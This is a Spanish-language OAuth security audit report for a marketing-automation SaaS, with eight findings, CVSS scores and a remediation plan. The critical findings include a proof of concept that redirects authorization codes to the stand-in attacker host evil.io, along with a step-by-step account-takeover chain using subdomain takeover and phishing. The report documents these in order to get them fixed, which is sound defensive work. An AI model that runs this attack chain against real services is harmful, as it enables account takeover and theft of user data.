🛡
CULTIVA IA — Seguridad Ofensiva

Informe de Auditoría OAuth 2.0

GrowStack SaaS · Marketing Automation B2B · Autorizado por Carlos Mendoza (CTO)
📅 2026-06-16
🔬 Authorization Code + Implicit Flow
📋 RFC 6819 · OAuth 2.1 · FAPI 2.0
⚠ CRÍTICO — ACCIÓN INMEDIATA
📊
Resumen Ejecutivo

La auditoría ofensiva del flujo OAuth 2.0 de GrowStack SaaS ha identificado 8 vulnerabilidades, de las cuales 2 son de severidad CRÍTICA y permiten el Account Takeover (ATO) completo de cualquier usuario de la plataforma mediante un único payload CSRF combinado con un open redirect en el subdominio help.growstack.io.

El uso del Implicit Flow legacy para el conector HubSpot expone tokens de acceso directamente en la URL, y el almacenamiento en localStorage los hace accesibles a cualquier XSS en los dominios *.growstack.io. La ausencia de PKCE en clientes confidenciales viola tanto OAuth 2.1 como los requisitos mínimos del conector oficial de HubSpot (OAuth 2.0 con PKCE obligatorio desde 2025).

Se recomienda priorizar el remplazo inmediato del Implicit Flow por Authorization Code + PKCE y la validación estricta de redirect_uri antes de la próxima ventana de release (plazo recomendado: 48h para los ítems P1).

2
Crítico
2
Alto
2
Medio
1
Bajo
1
Info
8.8
/ 10

CVSS v3.1 — Puntuación Máxima Registrada

Vector de Ataque Red (N)
Complejidad Baja (L)
Privilegios Ninguno (N)
Interacción Usuario Requerida (R)
Confidencialidad Alta (H)
Integridad Alta (H)
CVE Ref. CWE-601 · CWE-352
Clasificación ALTO
🔴
Vulnerabilidades Identificadas
ID Vulnerabilidad Severidad CVSS Endpoint CWE Estado
GS-001 CSRF + Open Redirect → Account Takeover
Ausencia de state + redirect_uri wildcard encadenados
Crítico 9.3 /oauth/authorize
/api/profile/link
CWE-601
CWE-352
● Abierto
GS-002 Implicit Flow Activo (HubSpot)
Token expuesto en fragment URL, accesible via Referer header
Crítico 8.8 /oauth/authorize?response_type=token CWE-200 ● Abierto
GS-003 redirect_uri sin validación exacta
Acepta *.growstack.io — susceptible a subdomain takeover
Alto 8.1 /oauth/authorize CWE-601
CWE-20
● Abierto
GS-004 Access Tokens en localStorage (XSS-accesibles)
Sin HttpOnly cookie ni memory-only storage
Alto 7.4 Frontend React SPA CWE-922 ● Abierto
GS-005 TTL excesivo de Access Token (24h)
OAuth 2.1 recomienda máximo 5-15 minutos
Medio 5.3 /oauth/token CWE-613 ● Abierto
GS-006 PKCE no obligatorio en clientes confidenciales
code_verifier omitido sin error; Authorization Code Injection viable
Medio 5.9 /oauth/token CWE-287 ● Abierto
GS-007 Refresh Token sin rotación ni reuse detection
Token reutilizable indefinidamente; sin invalidación en cadena
Bajo 3.7 /api/token/refresh CWE-613 ● Abierto
GS-008 client_secret expuesto en bundle JS (dev build)
Encontrado en .env comiteado al repo público de GitHub
Info 2.3 GitHub repo (público) CWE-798 ● En revisión
🎯
Detalles de Vulnerabilidades Críticas
CRÍTICO GS-001 · CSRF + Open Redirect → Account Takeover
CVSS 9.3 · CWE-601 · CWE-352

Descripción

El endpoint /api/profile/link no incluye el parámetro state en la solicitud de autorización OAuth al vincular cuentas sociales. Combinado con el open redirect en help.growstack.io/redirect?url=, un atacante puede forzar la vinculación de su cuenta Google al perfil de la víctima.

Vector de Prueba (PoC)

# Paso 1: Iniciar flujo OAuth sin state GET /oauth/authorize? client_id=growstack-prod& redirect_uri=https://help.growstack.io/redirect?url=https://evil.io/capture& response_type=code& scope=profile+email # Sin state= → sin CSRF protection # Paso 2: Víctima hace click → código redirigido https://evil.io/capture?code=AUTH_CODE_VICTIMA # Paso 3: Atacante usa el código POST /oauth/token code=AUTH_CODE_VICTIMA& client_id=growstack-prod& redirect_uri=[original]

Impacto

Account Takeover completo de cualquier usuario
Acceso a cuentas conectadas (Google Ads, Facebook Business)
Exfiltración de datos de campañas y audiencias
Posibilidad de lanzar campañas maliciosas con crédito ajeno
Sin logs de alerta (transacción OAuth normal)

Remediación Inmediata

// 1. Generar state criptográfico const state = crypto.randomBytes(32).toString('hex'); session.oauthState = state; // 2. Validar en callback if (req.query.state !== session.oauthState) { throw new Error('State mismatch — CSRF attack'); } // 3. redirect_uri: lista blanca exacta const ALLOWED = ['https://app.growstack.io/callback'];
CRÍTICO GS-002 · Implicit Flow Activo — Token Leakage via Referer
CVSS 8.8 · CWE-200 · Deprecado en OAuth 2.1

Descripción

El conector HubSpot usa response_type=token (Implicit Flow). El access_token aparece en el fragment de la URL (#access_token=…). Si la SPA carga recursos de terceros (analytics, CDN), el token puede filtrarse via Referer header o via document.referrer accesible a scripts inyectados.

Prueba Verificada

# URL tras callback HubSpot (capturado en proxy) https://app.growstack.io/callback #access_token=ya29.a0AfB_byBK... &token_type=Bearer &expires_in=86400 # ← 24h! &scope=crm.objects.contacts.read # Referer enviado al widget de Intercom embebido: Referer: https://app.growstack.io/callback#access_token=ya29...

Impacto

Token HubSpot expuesto a todos los scripts de terceros
Acceso a 24h de datos CRM del usuario (contactos, deals)
Sin refresh token → sin rotación posible
HubSpot exige Migration a PKCE desde Q1-2025

Remediación

// Migrar a Authorization Code + PKCE const verifier = base64url(crypto.randomBytes(32)); const challenge = base64url(sha256(verifier)); GET /oauth/authorize? response_type=code& code_challenge=${challenge}& code_challenge_method=S256 // En /token, enviar code_verifier para validar
Cadena de Ataque Completa (GS-001 + GS-003 + GS-004)
Escenario: Atacante sin autenticar → Account Takeover + acceso persistente
Paso 1
Reconocimiento
Identificar subdomain
help.growstack.io
sin CNAME activo
Paso 2
Subdomain Takeover
Registrar CNAME en
Vercel/Netlify hacia
evil server
Paso 3
CSRF Payload
Craft URL OAuth sin state
redirect_uri=help.growstack.io
(dominio "confiable")
Paso 4
Ingeniería Social
Phishing URL a víctima
(mail/LinkedIn)
Clic necesario
Paso 5
Código Capturado
Authorization code
redirigido al
evil server
🔥 Account Takeover
Acceso completo + Google Ads
+ Facebook Biz + HubSpot CRM
Checklist de Pruebas OAuth (Estado de Cobertura)

🔐 Validación redirect_uri

Validación exacta de redirect_uriGS-003
No se permiten wildcards ni subdominiosGS-003
Protección contra open redirect en dominioGS-001
HTTPS obligatorio en redirect_uriOK
redirect_uri en lista blanca pre-registradaParcial

🛡 Parámetro State / CSRF

state obligatorio en todos los flujosGS-001
state criptográficamente aleatorioGS-001
state de un solo usoGS-001
Validación de state en callbackGS-001
state presente en flujo Google AdsOK

🔑 PKCE (Proof Key for Code Exchange)

PKCE implementado en todos los flowsGS-006
code_verifier requerido en /tokenGS-006
method S256 (no plain)GS-006
Implicit Flow eliminadoGS-002
Authorization Code Flow como baseOK

🗝 Gestión de Tokens

Access token TTL ≤ 15 minutosGS-005
Refresh token rotation activaGS-007
Tokens en HttpOnly cookie (no localStorage)GS-004
Refresh token reuse detectionNo impl.
Access tokens firmados (HS256)OK
🔧
Plan de Remediación Priorizado

🔴 P1 — Acción Inmediata (48h)

Deshabilitar Implicit Flow (response_type=token)48h
Implementar state obligatorio en /api/profile/link48h
Cambiar validación redirect_uri a lista blanca exacta48h
Revocar tokens activos de sesiones comprometidasInmediato

🟠 P2 — Sprint actual (1 semana)

Migrar HubSpot connector a Authorization Code + PKCE S2565d
Mover tokens a HttpOnly; Secure; SameSite=Strict cookies5d
Reducir TTL access token de 24h → 15 minutos3d
Rotar client_secret comprometido + invalidar en GitHubInmediato

🟡 P3 — Próximo sprint (2-3 semanas)

Implementar refresh token rotation con reuse detection14d
Habilitar PKCE para clientes confidenciales (obligatorio)14d
Añadir CSP headers para mitigar XSS → token theft10d
Auditar scopes mínimos en conectores (principio mínimo privilegio)14d

🔵 P4 — Roadmap seguridad (Q3 2026)

Evaluar adopción de PAR (Pushed Authorization Requests)Q3
Implementar DPoP para token binding en API críticasQ3
Auditoría periódica OAuth cada 6 mesesQ3
Rotación de JWKS signing keys (política 6 meses)Q3
📅
Timeline de Remediación
Semana 0 — Inmediato
Deshabilitar Implicit Flow + Aplicar state CSRF + Revocar credenciales
GS-001, GS-002 (mitigación parcial), GS-008. Responsable: equipo backend + DevOps
Semana 1 — Sprint urgente
Migración PKCE + Hardening redirect_uri + Reducir TTL tokens + Migrar a HttpOnly cookies
GS-002 (completo), GS-003, GS-004, GS-005. Responsable: engineering team
Semana 2-3 — Siguiente sprint
Refresh token rotation + PKCE obligatorio + CSP + Scope audit
GS-006, GS-007. Responsable: security engineer + frontend
Semana 4 — Verificación
Re-test de todos los ítems P1-P3 por CULTIVA IA
Validación de remediaciones. Emisión de certificado de cierre de vulnerabilidades críticas
Q3 2026 — Hardening avanzado
PAR + DPoP + Auditoría recurrente
GS-P4 items. Adopción de OAuth 2.1 completo y FAPI 2.0 baseline